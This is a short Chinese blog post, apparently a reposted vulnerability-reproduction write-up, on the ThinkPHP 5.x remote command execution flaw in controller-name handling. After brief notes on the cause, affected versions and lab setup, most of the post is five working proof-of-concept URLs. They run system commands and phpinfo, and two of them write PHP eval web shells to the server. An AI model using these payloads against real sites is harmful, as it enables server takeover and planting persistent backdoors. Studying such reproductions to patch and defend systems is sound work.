ThinkPHP 5.x远程命令执行漏洞

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ThinkPHP 5.x远程命令执行漏洞相关的知识,希望对你有一定的参考价值。

漏洞原因

由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行

漏洞影响版本

Thinkphp 5.x-Thinkphp 5.1.31
Thinkphp 5.0.x<=5.0.23

漏洞复现

搭建漏洞环境

官网下载Thinkphp 5.0.22,下载地址
使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问即可

在这里插入图片描述

POC1

http://localhost:9091/public/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

在这里插入图片描述

POC2&POC3

http://localhost:9091/public/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
http://localhost:9091/public/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

在这里插入图片描述

POC4&POC5

http://localhost:9091/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[cmd]);?^%3E%20%3Eshell.php
http://localhost:9091/public/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

在这里插入图片描述

以上是关于ThinkPHP 5.x远程命令执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章

ThinkPHP 5.x远程命令执行漏洞分析与复现

漏洞复现ThinkPHP5 5.x 远程命令执行(getshell)

ThinkPHP - 漏洞 - 汇总

ThinkPHP5 远程命令执行漏洞

Vulnhub-ThinkPHP5 任意代码执行漏洞

ThinkPHP5 远程代码执行(POST)